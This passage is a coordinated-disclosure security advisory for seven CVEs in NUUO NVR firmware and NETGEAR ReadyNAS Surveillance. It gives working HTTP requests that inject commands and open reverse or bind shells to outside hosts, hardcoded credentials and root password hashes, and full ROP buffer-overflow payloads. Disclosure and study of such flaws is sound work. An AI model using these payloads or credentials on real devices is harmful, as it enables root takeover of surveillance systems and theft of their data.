prime monitoring experience."


>> Summary:
NUUO is a vendor of Network Video Recording (NVR) systems for
surveillance cameras. These NVR are Linux embedded video recording
systems that can manage a number of cameras and are used worldwide by
public institutions, banks, SME's, etc. They also provide a software
package to NETGEAR that adds network video recording and monitoring
capabilities to the well known NETGEAR ReadyNAS Network Attached Storage
systems.

The web interface contains a number of critical vulnerabilities that can
be abused by unauthenticated attackers. These consist of monitoring
backdoors left in the PHP files that are supposed to be used by NUUO's
engineers, hardcoded credentials, poorly sanitised input and a buffer
overflow which can be abused to achieve code execution on NUUO's devices
as root, and on NETGEAR as the admin user.

Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance
devices are known to be affected, it is likely that the same code is
used in other NUUO devices or even other third party devices (the
firmware is littered with references to other devices like NUUO Titan).
However this has not been confirmed as it was not possible to access all
NUUO and third party devices that might be using the same code.

A special thanks to CERT/CC (https://www.cert.org/) for assistance with
disclosing the vulnerabilities to the vendors [1]. Metasploit exploits
for #1, #2 and #3 have been released.


>> Technical details:
#1
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5674
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions
might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM
versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web inteface contains a hidden file named
__debugging_center_utils___.php that improperly sanitises input to the
log parameter, which is passed to the PHP system() call (snippet below):

function print_file($file_fullpath_name)
{
    $cmd = "cat " . $file_fullpath_name;
    echo $file_fullpath_name . "\n\n";
    system($cmd);
}

<?php
    if (isset($_GET['log']) && !empty($_GET['log']))
    {
        $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' .
basename($_GET['log']);
        print_file($file_fullpath_name);
    }
    else
    {
        die("unknown command.");
    }
?>

The file can be accessed by an unauthenticated user, and code execution
can be achieved with the following proofs of concept:
- ReadyNAS Surveillance:
GET
/__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
This will connect a shell back to 192.168.1.204 on port 9000, running as
the "admin" user.

- NVRmini 2 and NVRsolo:
GET
/__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998

This will connect two shells to 192.168.1.204, one on port 9999 and
another on port 9998. To execute commands, echo into the 9999 shell, and
receive the output on the 9998 shell. Commands will run as the root user.


#2
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5675
Attack Vector: Remote
Constraints: Requires an administrator account
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions
might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might
be affected)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM
versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The handle_daylightsaving.php page does not sanitise input from the
NTPServer parameter correctly and passes it to a PHP system() command
(code snippet below):
    else if ($act == 'update')
    {
        $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);

        $find_str = "time server";

        $sys_msg = system($cmd);
        $pos = strpos($sys_msg, $find_str);

The file can only be accessed by an authenticted user.
- ReadyNAS Surveillance:
GET
/handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
This will create a /tmp/test file with the contents of "admin" (current
user).

- NVRmini 2 and NVRsolo:
GET
/handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Connects a shell to 192.168.1.204, port 9000, running as root.

- Crystal:
GET
/handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Connects a shell to 192.168.1.204, port 4444, running as root.


#3
Vulnerability: Administrator password reset
CVE-2016-5676
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0
requires authentication)
- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0
requires authentication)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM
versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

On older versions of the firmware and in the ReadyNAS Surveillance
application unauthenticated users can call the cgi_system binary from
the web interface. This binary performs a number of sensitive system
commands, such as the loading of the default configuration that resets
the administrator password. It seems that at least versions 2.2.1 and
3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this
vulnerability was fixed either on these or earlier versions, but
ReadyNAS Surveillance is still vulnerable.

Proof of concept:
GET /cgi-bin/cgi_system?cmd=loaddefconfig

This will reset the admin password of the web interface to admin or
password (depending on the firmware version) on all affected devices.


#4
Vulnerability: Information disclosure (system processes, available
memory and filesystem status)
CVE-2016-5677
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions
might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM
versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web interface contains a hidden page (__nvr_status___.php) with a
hardcoded username and password that lists the current system processes,
available memory and filesystem status. This information can be obtained
by an unauthenticated user by performing the following request:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit


#5
Vulnerability: Harcoded root password
CVE-2016-5678
Affected products / versions:
- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0

The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is
commented). These passwords have not been cracked, but they are present
in the firmware images which are deployed to all NVRmini 2 / NVRsolo
devices.

NVRmini 2:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::


#6
Vulnerability: Command injection in cgi_main transfer license command
CVE-2016-5679
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely;
can be exploited locally by any logged in user
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions
might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The transfer_license command has a command injection vulnerability in
the "sn" parameter:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Sample exploit for NVRmini2 (open bind shell on port 4444):
GET
/cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

NETGEAR Surveillance doesn't have netcat, but we can get an openssl
reverse shell to 192.168.133.204:4444 instead:
GET
/cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to
escalate privileges to root on the NVRmini2 and admin on the ReadyNAS
with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license
'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on
the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.


#7
Vulnerability: Stack buffer overflow in cgi_main transfer license command
CVE-2016-5680
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely;
can be exploited locally by any logged in user
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions
might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The "sn" parameter in transfer_license cgi_main method not only has a
command injection vulnerability, but also a stack buffer overflow. Below
is the pseudocode of the affected function - as it can be seen in the
sprintf line, the "sn" parameter is copied directly into a string with a
fixed length of 128 characters.

Function 0x20BC9C (NVRmini2 firmware v3.0.0):
      method = getval("method");
      sn = getval("sn");
      (...)
      memset(&command, 0, 128);
      sprintf(&command, "logger -p local0.info -t 'system' \"Activate
license: %s\"", sn);
      system(&command);

> For example if the following request is performed:
GET
/cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(...
repeat 'a' 4000 times)

> A core file is generated:

> Exploit mitigations and constraints
The table below shows the exploit mitigation technologies for each target:
         NVRmini2   ReadyNAS
NX          Y          Y
RELRO    Partial    Partial
ASLR        N          Y

An additional constraint to keep in mind is that there can be no null
bytes in the exploit as the vulnerability is in the sprintf copy
operation (which uses a null byte as the string terminator).

> Exploitation in the NVRmini2 (firmware v3.0.0):
This example exploit creates a root bind shell on port 4444 using ROP
gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is
always loaded at 4066c000 in firmware 3.0.0.

0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget,
sets up r3 for the next gadget)
0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget,
set up args for system)
0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0
- pointing to sp - and executes it)
Payload (in the stack) ->
%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26

Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26

Other firmware versions will have different gadget addresses. On version
3.0.0 it should work without any modification.

> Exploitation on ReadyNAS Surveillance (version v1.1.2):
To develop this example exploit libcrypto.so.0.9.8 was used. The library
is loaded at B6xxx000, where xxx are 4096 possible values for the memory
address, as the ReadyNAS has a weak form of ASLR. For this exploit,
B6CCE000 was chosen as the target base address (this was chosen randomly
from a sample of collected base addresses).

The exploit connects a reverse shell to 192.168.133.204:4444 using
OpenSSL. The following ROP gadgets were used:
0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C
(first gadget, gets the location of the stack pointer sp, where the
shellcode is located, in r1)
0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx
r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget,
sets up the arguments to system(), putting them into r0)
0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base
address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to
sp - and executes it)
Payload: (in the stack) ->

sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26

Note that due to the ASLR in the ReadyNAS his exploit has be attempted
at few times in order for it to work. Usually less than 20 tries is
enough to get the reverse shell to connect back.

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to
escalate privileges to root on the NVRmini2 and admin on the ReadyNAS
with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license
'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on
the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.

It is likely that all other vulnerabilities in this advisory are
exploitable by a local attacker, however this has only been tested for
the stack buffer overflow.


>> Fix:
NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see
Timeline below), so no fix is available.
Do not expose any of these devices to the Internet or any networks with
unstrusted hosts.

Timeline:
28.02.2016: Disclosure to CERT/CC.
27.04.2016: Requested status update from CERT - they did not receive any
response from vendors.
06.06.2016: Requested status update from CERT - still no response from
vendors.
            Contacted Nuuo and NETGEAR directly. NETGEAR responded with
their "Responsible Disclosure Guidelines", to which I did not agree and
requested them to contact CERT if they want to know the details about
the vulnerabilities found. No response from Nuuo.
13.06.2016: CERT sent an update saying that NETGEAR has received the
details of the vulnerabilities, and they are attempting to contact Nuuo
via alternative channels.
07.07.2016: CERT sent an update saying that they have not received any
follow up from both Nuuo and NETGEAR, and that they are getting ready
for disclosure.
17.07.2016: Sent an email to NETGEAR and Nuuo warning them that
disclosure is imminent if CERT doesn't receive a response or status
update. No response received.
01.08.2016: Sent an email to NETGEAR and Nuuo warning them that
disclosure is imminent if CERT doesn't receive a response or status
update. No response received.
04.08.2016: Coordinated disclosure with CERT.
